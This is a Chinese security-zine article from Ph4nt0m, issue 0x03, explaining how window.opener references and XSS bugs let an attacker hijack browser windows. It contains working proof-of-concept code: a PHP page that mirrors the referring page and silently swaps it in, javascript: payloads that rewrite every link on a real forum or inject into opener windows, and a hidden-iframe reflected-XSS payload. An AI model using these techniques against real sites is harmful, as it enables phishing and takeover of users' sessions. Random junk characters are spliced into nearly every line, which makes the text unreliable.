==Ph4nt0m Security Team==4 x, s7 c5 d* y, C2 i! W+ W2 F& L
6 j7 V. J& x3 y% p9 [
Issue 0x03, Phile #0x05 of 0x070 t' w" ^" f3 G! p
9 x1 H* ]2 d4 o0 P
4 p5 Q2 N/ C( b5 A7 F9 z2 n7 {
|=---------------------------------------------------------------------------=|' i: |6 H1 E' ~0 |. q
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|# z- c3 W7 q& c. ~" A+ b: X
|=---------------------------------------------------------------------------=|& _! d. p: b! F7 d2 @& q6 n
|=---------------------------------------------------------------------------=|
& J* P1 _1 R6 d- V|=------------------------=[ By rayh4c ]=---------------------------=|, W6 `0 J9 S: @* M* o0 Z
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|/ A3 s$ F& j* L3 E, v
|=---------------------------------------------------------------------------=|
% ?+ J2 M& F! w T0 j& G r Q
* F) e% J5 q: t C
# `; Q. h) {. d[目录] J1 K" N; A7 e" f0 B/ W
6 a# v3 w- x! j6 ~
1. 前言
4 b, O4 t" d' a4 j- h2. 同源策略简叙
4 D4 M5 v5 v2 u+ [4 s3. 理解window对象的同源策略- {/ Y! y+ q* h! v0 H3 M& k
4. 窗口引用功能中的同源策略漏洞
0 K7 H& u# L% X 4.1 父窗口引用子窗口的同源策略问题9 Z- @* G/ H* \: f
4.2 子窗口引用父窗口的同源策略问题2 u- C% h8 {( q( S2 n
5. 利用窗口引用漏洞劫持浏览器# F2 T1 J6 R# y3 l! U/ ?4 c+ f
6. 利用XSS漏洞劫持浏览器9 Y8 G9 I7 N5 @& V2 r
6.1 正向跨窗口劫持
, ^+ U4 i k! k/ R 6.2 反向跨窗口劫持
: s4 B: M+ j7 F( a* K! M+ [$ x 6.3 极度危险的跨框架窗口引用劫持/ {" f" h- S% X; L5 @
6.4 极度危险的正反向跨窗口递归劫持4 i/ z+ v6 H7 H" {. \* O
6.5 完全控制浏览器& c* _+ g# k( j0 c8 A8 c2 Q
7. 后记. Y- _& s' @# ~/ o! g# R
8. 参考
. A6 l( F. a- n2 n/ N4 F
$ h0 v( v2 P, u3 i2 d) A& y) Q6 E; W I F: e/ M- m
一、前言
+ K$ v" g" Q: b5 R) C& {( g K! l3 @+ J$ b' ? b" r6 M- l/ I% u% S
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
$ `- u1 i: \9 ?友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
* v) l" \; G. I3 r- c( {* B) n劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
( v: k- g9 [/ F4 K+ G9 I条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
9 n8 L4 U, @# a) o' \+ k4 N+ L. R: w5 a$ s c+ S. F# _( A
2 O$ k1 a4 f+ g5 T; a8 {
二、同源策略简叙
: g$ `) E2 V2 {7 T8 h4 Z6 ?+ X: C- ]# ~ R* h1 X- R
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以9 C& Q4 Z9 N9 Z6 c* n+ a& y0 x
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
+ Y6 F# S t, n0 W0 v0 p' q曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
- c; u3 Y3 y# m马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
3 S& I4 D7 ?5 M, _) ?& O% f漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
2 q& R, I/ q9 M* c1 S0 X
! T! N1 V( F" p, w D# l6 l9 ~/ `8 B c$ z; `0 A9 n
三、理解window对象的同源策略
. q) T) l) p9 ^+ i
I; N( g# Q2 ?6 C 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对* F R; w5 `( k
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
o) {( m. N3 u+ L2 u2 R) ?
& B: b$ u& g. {$ P--code-------------------------------------------------------------------------) h" H2 H2 D- Z2 ]+ J) ~. f
<script language="javascript">! p$ y+ s6 _* j
for(p in window) document.write(p+"<br>");' \2 M7 v; b( O6 m7 X# D
</script>
2 x4 l% r! P; J6 u I' T; Y5 ~-------------------------------------------------------------------------------
Z6 f2 D1 k+ i# P# o6 ]: h! S3 v6 A8 `. W: N) e
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
0 }3 r w; X! t3 p4 m. b9 \9 ?法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
+ h/ B1 p2 l" M) k q0 a/ A4 J这些属性和方法就必须遵循同源策略。
4 L* J V0 `/ N1 r( Z; p! M; P# I/ b: K0 E* f, g1 X
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
# K: `& ~$ c7 @. I H/ x# {么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须8 C @3 h, e4 |
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
" p$ |. Q* @0 f9 N5 a( f个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
1 i) `: o, _& F- G( e值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location# }# `4 A+ t2 Y) V
属性并没有被拒绝访问。
% s/ @1 L! A0 G) {9 V2 r/ e' w! A/ l
--demo.html--------------------------------------------------------------------2 x% W. S/ ` n8 ]" I+ _0 ~
<script language="javascript">
; ], Z! ]9 h y0 U5 @7 pfunction allPrpos(obj) {
! k/ g2 X' d# e/ K var props = "<table><tr><td>名称</td><td>值</td>"; # Q p5 J4 J2 P: N" G$ I
for(var p in obj){
! |/ [' L+ E/ N# f if(typeof(obj[p])=="function"){
! ?% H E. y2 Z3 F) D# T obj[p](); 2 g7 f/ ]- h# q$ R
}else{ 5 D) g: F( h; I) s' o z$ R W
try
6 H, E9 M! C: D1 J {
; J" a. T# N. w props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
/ s( P! f) F& N1 B" @7 x } / J1 l( @7 s/ N; ~/ x
catch (ex) ! h- b6 G3 |$ s5 T& I: ?# c9 S6 F
{ 2 i0 L' [/ ?/ s% D
, T, i! L1 h3 V* c) [) l props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; ; n% z; N/ O5 l% W
} / O% n6 f) h* i$ T8 e
8 [1 ~4 V9 I% m* Y }
' n6 M4 @) ~0 D0 n, e! o, j7 c2 q } ' {% M2 J# v3 @
9 l3 z" j4 P- t/ o& T# o
document.write(props+"</table>");
' H- w X$ v2 f}
) G; F7 h6 J2 g) ?, X E( f! U* G
# V" t. d5 p; q2 Zfunction createWin() {5 y$ c7 |1 J5 M% @+ ^6 D$ {4 Q& O
newWin = window.open ("http://www.google.com"); 6 @/ Z. p1 N* y+ G7 q3 s" r1 T6 u% _8 T; _
setTimeout(function(){allPrpos(newWin)},2000);
" I( y8 l0 S" B1 w! J- @. I} 0 c0 Y! N: _9 B9 v
' p( Y; [ @4 b" _1 r6 K9 Z</script> " u- }' P& b" C: b0 `0 A
; O3 P: w, @( I& A* W' D
<button onclick='createWin()'>创建一个非同源子窗口测试</button>" y! R; c2 Z4 a# C4 @0 y
-------------------------------------------------------------------------------
; g% ]% |3 A) n% T% e3 B
) P4 F7 J4 p! s# P; o' m# R
9 L+ f" s( w7 S四、窗口引用功能中的同源策略漏洞3 a( F- D. ]: v( o
q1 f8 ?* {; O) s4 ?$ _0 r4.1 父窗口引用子窗口的同源策略问题
r3 ^% m5 j- o1 L9 N8 h5 ^
6 c, E$ T9 k3 V6 x0 [+ [ 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
5 ^, _4 ?! \2 B1 F; L( b9 h+ I' [但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
1 Z/ y! H" [9 H浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
7 a U+ A$ w3 ]1 x2 p6 Y: K行测试,会发现父窗口可以控制非同源子窗口location属性值。
b$ Y- n" G, L- b8 a$ q8 @/ Z. I6 L0 \
--vul1.html--------------------------------------------------------------------$ L2 Y" i; |( N0 Z4 q5 [
<script language="javascript"> % P8 q' ?( c. W, y
function createWin() { \7 f; D/ r# _
newWin = window.open ("http://www.google.com"); , L! L& S1 v$ z+ W
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
+ N D! [. E. e; i' T" |} $ Y4 U6 h/ t- [3 o7 Y7 C# t
</script>
( n4 [0 N- w: f/ [5 M8 y; C* l- O& V! a7 ^9 A$ f: H4 \7 h
<button onclick='createWin()'>创建一个非同源子窗口测试</button>& B. s# k; M- ]0 x5 y" R
-------------------------------------------------------------------------------
; F3 I; E, M5 \
: C( {1 k# v- H( q4 p( [0 {6 E' L K8 y6 X" Z. ~' a5 v9 J
4.2 子窗口引用父窗口的同源策略问题
* T2 j, E# w8 h9 R4 l5 L- q* v: G- h% m, l& O$ z, k7 m; S, o
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
) p# Z7 B- \# Y1 `. Y用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
" u* e0 l2 R9 {* [可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定5 Q2 p/ M% r/ ^7 ^
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
, M1 ~5 M0 h8 b6 b, H0 s% \
$ k$ A' Q2 f& r9 x--code-------------------------------------------------------------------------
3 A9 `1 p% ]7 Y: o7 W% L+ N) H1 ^- i# q5 C- }6 X" U" Z
javascript:window.opener.location = "http://www.80sec.com";void(0);
0 p4 W- l9 S6 e: v6 w4 C
8 q1 v* [% F j; I) v------------------------------------------------------------------------------- t# [0 L! C# S5 m9 o7 ]1 U
/ F. R5 N: j- o3 c, _& ^
: e! ?5 E) {. S% @) ^9 r
五、利用窗口引用漏洞劫持浏览器: B# v2 X+ x+ I0 Q' N* }4 Q1 ~
7 h. i: w) I1 s2 P
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
, P' n2 [9 y F窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那' I- _- I$ s* }( _
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
) j$ H, ]3 v9 S% I5 M; p
9 S, U" K6 X( W6 F. K: T 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
0 D( [* }$ S/ Y! B1 K' Q4 @$ b生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或8 I0 `3 P7 n3 @+ E" g
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接, f' H s0 g5 q* g
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
# k* s P) o- p1 O, F ^/ F会产生什么可怕的后果。* ]: ?7 p3 i6 t/ s" {7 _5 t
6 g! g1 r6 E$ A 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
4 {/ x: P0 _8 i5 H5 `们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
9 a' a( n2 Y: i P" H5 B2 b! f* a这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
}3 v! z& j* Y候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可% S/ s6 u! A: ^! c2 N6 o' h8 `
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
2 B% k+ o2 r2 T/ S; Y: T$ V( [
! Z) F% O3 d. S5 d h* @1 Z# u--hjk_ref.php------------------------------------------------------------------' [) u& [0 }% h8 ~
<?php+ L1 R" F7 [8 B/ [2 p
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
; P4 W- B6 F* t) m9 P& I8 J1 K$Url_Mirror = $_SERVER["HTTP_REFERER"];
3 v; U d" X. `3 S' h# h# [} % q# W. S8 O5 ]) b% s# v1 Q+ f2 P* P( t
if(isset ($_GET['ref'])) {
% c6 y% {- a* S' g& Y( M! E: lecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
4 f) {) i8 [- D n% D( J3 y9 y4 j, }3 ?}
7 V6 c+ A- o+ L Q7 o( u/ @?>( C6 G5 k* K3 p) \2 {; C9 H8 Q
3 _, n1 R# ^4 f% l: O, u }8 {<script language="javascript">
3 `; J& {0 D3 h7 ZsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); / P- S; Y, y! a
</script>
4 S% L' e/ I- W* V+ t! R2 X I4 _-------------------------------------------------------------------------------
7 Z2 L- X1 o& i& u+ \- _0 P; T; x( G% G" t4 v/ p! H/ b7 R
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。4 r0 e' [9 C+ D' b' E
8 y8 h q0 \3 n# p! L8 r
2 k7 O0 s9 d- o! ], I! ?六、利用XSS漏洞劫持浏览器$ @" P; x0 F h. M( X3 L/ {, i
7 O, j: J$ S2 n) y: s/ z, a' [/ I
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为$ n! f) {0 W6 B" t
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后) S' F, J1 X" o! T6 b
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起* [( L/ l7 h0 g( a. ~- o( T% R8 m
讨论跨站师的终极技巧:
# t7 s& y, A7 m _: ~! x2 D: X7 o$ y7 }5 N! d
0 K5 E" t2 u1 _8 I
6.1 正向跨窗口劫持
( c% P" f" ~5 S9 r+ Z3 e% b5 E& _+ ?) n* ~/ I4 Z6 l5 D
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
" H: G) t* G- F% a) O主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链+ E, P, u3 m( K2 g" F4 M
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话- Y" X+ B, R) r- f& a' J
框脚本。
, C- R+ o# y% P* K, @3 x% M7 o9 o8 S1 d
* c% A9 }$ Y1 u, K8 u--hijack_open.js---------------------------------------------------------------
* A+ b# {2 p2 i5 w& g1 {0 Q0 h7 Y4 \& s
, T8 Q! m' w4 g# xjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);( t A# u6 T5 _
* U F" U$ y' f& d-------------------------------------------------------------------------------
F0 b$ l3 @2 g* s
5 ?+ g! d. T/ [3 `* l7 c% ]/ Q- {. S H( n
6.2 反向跨窗口劫持
/ i$ d. d, M; g' o3 o2 t
+ W- f, r9 O# A* O* b 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
8 h- |/ e. z2 o0 H8 w* ~9 M' ?码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
1 S! Q; `7 i1 }- T5 W9 m框脚本。3 L' W$ _6 k) S- ^% f
6 X! e, M0 L7 x U
--hijack_opener.js-------------------------------------------------------------
7 _9 ]3 B2 `0 W% X( X( g; _; X/ m4 S# T0 _0 `% f
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);2 H% C1 w' U- K+ b( [5 x# W5 M6 y& f
2 `: f+ \0 F( Y# L-------------------------------------------------------------------------------8 J- l1 d3 c/ B
9 { q0 B, a6 P# L
1 O: V ], j5 P! z6 s. h
6.3 极度危险的跨框架窗口引用劫持
8 @6 [) z% Y3 \6 f9 f/ x) e
M# @2 \7 X- e2 n5 s 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
9 P3 _. n7 z) L! R可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
8 ]! m9 o7 B# T! K& z8 f& v! g% I适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个$ P0 a8 v0 c0 |; @9 x9 o
非持久型的XSS,如下:( N. I: H/ `8 S
7 _6 S% ]3 K/ |; x5 a; L" S* n<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
9 D; ?, ]# t1 v C# @+ @5 N9 v3 u% a, J2 y# r
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
2 X2 [9 O; V2 j( w5 w0 g" Q- |注入脚本。
6 u) \& K9 M- w& Q; z8 W% X: ~1 O1 l, i: ~" v. X7 s6 A
--hijack_frame_opener.js-------------------------------------------------------
* t/ ]9 U4 X2 Z1 q) v<script>1 b$ `% v5 k# B: p0 z
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
7 Y6 {9 a8 Z3 v# h</script>4 Z2 n1 E8 k+ P0 c0 E
-------------------------------------------------------------------------------
# ]$ e& q$ K0 u0 c. z$ M% h; @9 T+ F4 I
% P, f, [3 W* f6 M& ^- w6.4 极度危险的正反向跨窗口递归劫持# }" y1 d5 F; _
/ V0 Z/ q- I* I0 A- g5 e luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
e, M" q0 i6 C% y$ ^的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过 C7 p0 V9 q& q+ j* o8 g2 M
异常处理规避之间跨域页面的访问异常,代码如下:8 t' j9 w* S" @+ @% j
" M2 N' j( f! o- [% Q) k& X9 R, u--code-------------------------------------------------------------------------
2 W+ C$ k& v; w
1 G {' ^% ?) i1 N( g( ujavascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);" n5 Y1 v: n3 I- R$ Z" r Z0 ~8 [
. F) _6 i) m; v5 i7 `. N/ Z0 x* q: u-------------------------------------------------------------------------------
# C7 B- O7 X5 h! }: u: A( d3 d
% z# _/ w( ^9 E/ x: L/ m: P 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可" _4 |7 `; X/ |2 y
以劫持B域之前的A域页面,从而实现“隔空打击”。
" Z% v. F* c3 \
& d6 V8 T/ E$ P: m1 n/ ~: [ 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面! K1 }$ c# m" ^% c
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
/ z3 L0 k7 x6 I- }" t$ V+ o: L* H
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
, n* i+ a3 h3 G; d
1 N' ^: S0 s$ p7 u( w2 s- I- O$ \
" c0 b4 U |. g3 p5 a$ E8 K9 p6.5 完全控制浏览器' F! y) V' L% t
' c6 @/ l5 G2 d/ ]
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
, J; i i- }7 `6 p) Z2 K是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS9 k& y6 C7 w1 W# H+ u- ?4 v
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
* I/ U8 r; b# s [/ m* b! O而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再: K" h2 H5 `& M1 y9 j5 O7 i3 n/ x5 D% ]
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
! ]+ W3 m9 j% C' ~' Y( c师的终极目标 - 完全控制浏览器。9 c* u- k* ]8 M- ^
: h% ^, |' L6 j5 h2 a4 g L
1 s4 [- Q/ i% k1 x5 _3 ^* g
七、后记; W J" l5 E9 q( Y
: N7 Y. I* j6 ?7 Y9 q w
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
% ?4 Z+ j" \/ T" s: v与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予* W6 c) Q; x4 F4 m* Z& |
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
, a4 [& f6 Z4 x. T% s: D
, `' o& Y. @ w; T
! _% R# n% t$ k, H: X. b' f八、参考2 H' I% ?8 B _& B( F4 F k& g0 q
7 y# C% ^* |; _+ a1. http://en.wikipedia.org/wiki/Same_origin_policy2 Z1 |8 M: y8 s$ e! {, v- t6 O
2. http://code.google.com/p/browser ... licy_for_DOM_access
1 c2 L3 {0 y T) c9 Y3. http://www.w3.org/TR/Window/4 V6 @9 K# Q' X O) n9 Q: `
4. http://www.80sec.com/release/browser-hijacking.txt
Z' s! V5 D$ D8 W5. http://www.80sec.com/all-browser-security-alert.html8 c/ y1 H6 _- M& ~, a; r
6. http://www.80sec.com/ms08-058-attacks-google.html
3 t N& t9 j5 N/ l
, w5 l/ B; p0 B6 g& ]-EOF- |